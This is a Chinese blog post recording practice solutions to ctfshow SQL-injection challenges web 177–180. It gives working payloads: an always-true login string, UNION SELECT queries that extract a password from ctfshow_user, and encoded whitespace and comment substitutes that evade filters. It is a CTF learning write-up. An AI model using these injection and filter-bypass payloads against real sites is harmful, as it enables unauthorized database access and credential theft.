首页 > 数据库 >ctfshow sql注入练习记录

ctfshow sql注入练习记录

时间:2024-02-27 20:55:51浏览次数:29  
标签:web 23 练习 0c 过滤 ctfshow sql 绕过

前言:继续做ctfshow的题了,本次为sql注入专题,从ctfshow web 177开始

ctfshow web 177

对空格,--+进行了过滤,注释符要换成#的url编码 %23

使用万能密码可以绕过

1'or'1'='1';%23

也可也使用/**/对空格进行绕过,进行联合查询

-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag';%23

记得吗,在之前的命令执行博客中,/**/也可也在bash中绕过空格

ctfshow web 178

万能密码直接秒了

1'or'1'='1';%23

相比上一题还过滤掉了* 但还存在其他的空格过滤方式

%0a %0c %09 /*!*/ %0b %0d

我们选取可以绕过过滤的对上一题的payload进行替换即可

ctfshow web 179

万能密码照样秒了

1'or'1'='1';%23

通过实际测试 %0a %0b %09都被过滤了,直接%0c绕过

ctfshow web 180

这题万能密码终于给过滤了,

但给%23给过滤了,用--%0c-来替代即可

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag';--%0c-

标签:web,23,练习,0c,过滤,ctfshow,sql,绕过
From: https://www.cnblogs.com/rpup/p/18038245

相关文章

  • asp.net quartz 定时器 miniapi sqlite数据库 cors
    dotnet_miniapi_quartz_ipaddress_check/Dtos.csusingSystem.ComponentModel.DataAnnotations;namespaceGameStore.Api.Dtos;publicrecordIpAddressDto(Guidid,stringip,stringname,stringdomain,......
  • 修复sqlite3数据库 database disk image is malformed
    databasediskimageismalformed错误sqlite是一个文本型数据库,其内部虽然做了异常处理,且官网上也说一般的异常不会引起数据库文件损坏,但是官方还是给出了有可能导致数据库文件损坏的情况。以下内容来自官网:SQLite经过非常仔细的测试,以帮助确保它尽可能没有错误。对每个SQ......
  • Python脚本给数据库插入数据报错: raise errorclass(errno, errval) pymysql.err.Integ
    一、问题描述在SQL客户端插入数据时执行SQL语句INSERTINTOuser_xxx(id,uid,total,balance,wallet_type,ctime,utime)VALUES(0,'336448391',271,89000098,'coin',1708588247,1709007766);可以成功执行没报错;使用python脚本执行SQL语句INSERTINTOuser_xxx......
  • 使用Navicat打开加密SQLite数据库
    参考使用Navicat打开加密SQLite数据库_加密的数据库文件怎么打开-CSDN博客1.在Nuget搜索并安装SQLitePCLRaw.bundle_e_sqlcipher2.打开项目所在路径,按照下面的路径找到e_sqlcipher.dll文件(根据安装的Navicat版本选择win-x64或者win-x86)3.打开Navicat的安装目录,该目录下有个sq......
  • 弱结构化日志 Flink SQL 怎么写?SLS SPL 来帮忙
    作者:潘伟龙(豁朗)背景日志服务SLS是云原生观测与分析平台,为Log、Metric、Trace等数据提供大规模、低成本、实时的平台化服务,基于日志服务的便捷的数据接入能力,可以将系统日志、业务日志等接入SLS进行存储、分析;阿里云Flink是阿里云基于ApacheFlink构建的大数据分析平台......
  • 【MySQL-技术】MySQL数据库自动添加创建时间、更新时间(超详细版)
    参考文档:https://blog.csdn.net/A1924/article/details/117074646 一、MySQL5.7及以上版本(也适用于MySQL8.0+)方法下列给出了三种不同时期修改表的SQL,便于各位看官快捷开发(CV大法)1、新建表自动获取创建时间:timestampnotnulldefaultCURRENT_TIMESTAMP自动获取更新时间:times......
  • 从MySQL全备中恢复单库或单表数据
    一、全库备份恢复单个库的数据流程:1、从全备份文件中将需要的库的建表语句和INSERT数据拿出来,然后再导入sed-n'/^--CurrentDatabase:`库名`/,/^--CurrentDatabase:`/p'全备SQL>库.sql2、导入库中mysql库名<库.sql3、检查数据二、全库备份恢复单个表的数据流......
  • mysql和oracle执行sql时弹出变量输入框
    MySQL查询条件中实现弹窗输入变量这种属于客户端软件自身的交互,是由客户端自身实现的特性,所以不同客户端的实现方式也不一样,大致列几个常用客户端的SQL语句实现方式如下:PL/SQL:使用&引用变量弹框输入变量值wherePeriod_Start_Time>=to_date(&开始时间,'yyyymmddhh24')andPeriod_S......
  • 达梦、Oracle、Mysql和PostgreSQL数据库重要参数对比
    前言数据库在安装完成之后通常都会配置一些基础的参数用于控制和管理数据库行为,其中有些参数在配置完成后若要修改则需要重启数据库才能生效,甚至一些参数在完成初始化之后无法修改,这些参数在生产环境中尤其需要关注,需要事先就确定好,避免后续遇到需要修改时影响到生产环境的使用。......
  • Go 100 mistakes - #78: Common SQL mistakes
      ......